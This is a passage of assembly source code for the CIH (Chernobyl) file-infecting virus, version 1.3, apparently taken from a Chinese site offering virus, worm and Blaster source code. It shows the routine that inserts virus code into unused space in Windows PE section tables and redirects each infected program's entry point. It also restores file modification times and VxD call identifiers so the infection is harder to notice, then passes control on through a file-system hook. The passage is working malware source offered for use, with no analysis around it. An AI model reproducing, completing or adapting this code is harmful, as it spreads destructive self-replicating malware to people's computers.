cih v1.3源程序（2）.txt

病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码

push ebx ; Save File Handle 

push 00h ; Set VirusCodeSectionTableEndMark 

; *************************** 
; * Let's Set the * 
; * Virus' Infected Mark * 
; *************************** 

push 01h ; Size 
push edx ; Pointer of File 
push edi ; Address of Buffer 

; *************************** 
; * Save ESP Register * 
; *************************** 

mov dr1, esp 

; *************************** 
; * Let's Set the * 
; * NewAddressOfEntryPoint * 
; * ( Only First Set Size ) * 
; *************************** 

push eax ; Size 

; *************************** 
; * Let's Read * 
; * Image Header in File * 
; *************************** 

mov eax, ebp 
mov cl, SizeOfImageHeaderToRead 
add edx, 07h ; Move EDX to NumberOfSections 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; *************************** 
; * Let's Set the * 
; * NewAddressOfEntryPoint * 
; * ( Set Pointer of File, * 
; * Address of Buffer ) * 
; *************************** 

lea eax, (AddressOfEntryPoint-@8)[edx] 
push eax ; Pointer of File 

lea eax, (NewAddressOfEntryPoint-@8)[esi] 
push eax ; Address of Buffer 

; *************************** 
; * Move EDX to the Start * 
; * of SectionTable in File * 
; *************************** 

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] 
lea edx, [eax+edx+12h] 

; *************************** 
; * Let's Get * 
; * Total Size of Sections * 
; *************************** 

mov al, SizeOfScetionTable 

; I Assume NumberOfSections <= 0ffh 
mov cl, (NumberOfSections-@8)[esi] 

mul cl 

; *************************** 
; * Let's Set Section Table * 
; *************************** 

; Move ESI to the Start of SectionTable 
lea esi, (StartOfSectionTable-@8)[esi] 

push eax ; Size 
push edx ; Pointer of File 
push esi ; Address of Buffer 

; *************************** 
; * The Code Size of Merge * 
; * Virus Code Section and * 
; * Total Size of Virus * 
; * Code Section Table Must * 
; * be Small or Equal the * 
; * Unused Space Size of * 
; * Following Section Table * 
; *************************** 

inc ecx 
push ecx ; Save NumberOfSections+1 

shl ecx, 03h 
push ecx ; Save TotalSizeOfVirusCodeSectionTable 

add ecx, eax 
add ecx, edx 

sub ecx, (SizeOfHeaders-@9)[esi] 
not ecx 
inc ecx 

cmp cx, small CodeSizeOfMergeVirusCodeSection 
jl short OnlySetInfectedMark 

; *************************** 
; * Save Original * 
; * Address of Entry Point * 
; *************************** 

; Save My Virus First Section Code 
; Size of Following Section Table... 
; ( Not Include the Size of Virus Code Section Table ) 
push ecx 

xchg ecx, eax ; ECX = Size of Section Table 

mov eax, (AddressOfEntryPoint-@9)[esi] 
add eax, (ImageBase-@9)[esi] 
mov (OriginalAddressOfEntryPoint-@9)[esi], eax 

; *************************** 
; * Read All Section Tables * 
; *************************** 

mov eax, ebp 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; *************************** 
; * Let's Set Total Virus * 
; * Code Section Table * 
; *************************** 

; EBX = My Virus First Section Code 
; Size of Following Section Table 
pop ebx 
pop edi ; EDI = TotalSizeOfVirusCodeSectionTable 
pop ecx ; ECX = NumberOfSections+1 

push edi ; Size 

add edx, eax 
push edx ; Pointer of File 

add eax, esi 

; Modify the Bug that WinZip Self-Extractor Occurs Error... 
; So When Open WinZip Self-Extractor, My Virus Don't Infect it... 
; The WinZip Self-Extractor Last Section Name is '_winzip_' 
; I Just Only Test Last Four Bytes ==> 'zip_' 
cmp dword ptr [eax-SizeOfScetionTable+04h], '_piz' 
je OnlySetInfectedMark 

push eax ; Address of Buffer 

; *************************** 
; * Set the First Virus * 
; * Code Section Size in * 
; * VirusCodeSectionTable * 
; *************************** 

lea eax, [eax+edi-04h] 
mov [eax], ebx 

; *************************** 
; * Let's Set My Virus * 
; * First Section Code * 
; *************************** 

push ebx ; Size 

add edx, edi 
push edx ; Pointer of File 

lea edi, (MyVirusStart-@9)[esi] 
push edi ; Address of Buffer 

; *************************** 
; * Let's Modify the * 
; * AddressOfEntryPoint to * 
; * My Virus Entry Point * 
; *************************** 

mov (NewAddressOfEntryPoint-@9)[esi], edx 

; *************************** 
; * Setup Initial Data * 
; *************************** 

lea edx, [esi-SizeOfScetionTable] 
mov ebp, offset VirusSize 

jmp StartToWriteCodeToSections 

; *************************** 
; * Write Code to Sections * 
; *************************** 

LoopOfWriteCodeToSections: 

add edx, SizeOfScetionTable 

mov ebx, (SizeOfRawData-@9)[edx] 
sub ebx, (VirtualSize-@9)[edx] 
jbe EndOfWriteCodeToSections 

push ebx ; Size 

sub eax, 08h 
mov [eax], ebx 

mov ebx, (PointerToRawData-@9)[edx] 
add ebx, (VirtualSize-@9)[edx] 
push ebx ; Pointer of File 

push edi ; Address of Buffer 

mov ebx, (VirtualSize-@9)[edx] 
add ebx, (VirtualAddress-@9)[edx] 
add ebx, (ImageBase-@9)[esi] 
mov [eax+4], ebx 

mov ebx, [eax] 
add (VirtualSize-@9)[edx], ebx 

; Section contains initialized data ==> 00000040h 
; Section can be Read. ==> 40000000h 
or (Characteristics-@9)[edx], 40000040h 

StartToWriteCodeToSections: 

sub ebp, ebx 
jbe SetVirusCodeSectionTableEndMark 

add edi, ebx ; Move Address of Buffer 

EndOfWriteCodeToSections: 

loop LoopOfWriteCodeToSections 

; *************************** 
; * Only Set Infected Mark * 
; *************************** 

OnlySetInfectedMark: 
mov esp, dr1 

jmp WriteVirusCodeToFile 

; *************************** 
; * Set Virus Code * 
; * Section Table End Mark * 
; *************************** 

SetVirusCodeSectionTableEndMark: 

; Adjust Size of Virus Section Code to Correct Value 
add [eax], ebp 
add [esp+08h], ebp 

; Set End Mark 
xor ebx, ebx 
mov [eax-04h], ebx 

; *************************** 
; * When VirusGame Calls * 
; * VxDCall, VMM Modifies * 
; * the 'int 20h' and the * 
; * 'Service Identifier' * 
; * to 'Call [XXXXXXXX]'. * 
; *************************** 
; * Before Writing My Virus * 
; * to File, I Must Restore * 
; * them First. ^__^ * 
; *************************** 

lea eax, (LastVxDCallAddress-2-@9)[esi] 

mov cl, VxDCallTableSize 

LoopOfRestoreVxDCallID: 
mov word ptr [eax], 20cdh 

mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] 
mov [eax+2], edx 

movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] 
sub eax, edx 

loop LoopOfRestoreVxDCallID 

; *************************** 
; * Let's Write * 
; * Virus Code to the File * 
; *************************** 

WriteVirusCodeToFile: 
mov eax, dr1 
mov ebx, [eax+10h] 
mov edi, [eax] 

LoopOfWriteVirusCodeToFile: 

pop ecx 
jecxz SetFileModificationMark 

mov esi, ecx 
mov eax, 0d601h 
pop edx 
pop ecx 

call edi ; VXDCall IFSMgr_Ring0_FileIO 

jmp LoopOfWriteVirusCodeToFile 

; *************************** 
; * Let's Set CF = 1 ==> * 
; * Need to Restore File * 
; * Modification Time * 
; *************************** 

SetFileModificationMark: 
pop ebx 
pop eax 

stc ; Enable CF(Carry Flag) 
pushf 

; ************************************* 
; * Close File * 
; ************************************* 

CloseFile: 
xor eax, eax 
mov ah, 0d7h 
call edi ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Need to Restore File Modification * 
; * Time !? * 
; ************************************* 

popf 
pop esi 
jnc IsKillComputer 

; ************************************* 
; * Restore File Modification Time * 
; ************************************* 

mov ebx, edi 

mov ax, 4303h 
mov ecx, (FileModificationTime-@7)[esi] 
mov edi, (FileModificationTime+2-@7)[esi] 
call ebx ; VXDCall IFSMgr_Ring0_FileIO 

; ************************************* 
; * Disable OnBusy * 
; ************************************* 

DisableOnBusy: 
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy 

; ************************************* 
; * Call Previous FileSystemApiHook * 
; ************************************* 

prevhook: 
popad 

mov eax, dr0 ; 
jmp [eax] ; Jump to prevhook 

; ************************************* 
; * Call the Function that the IFS *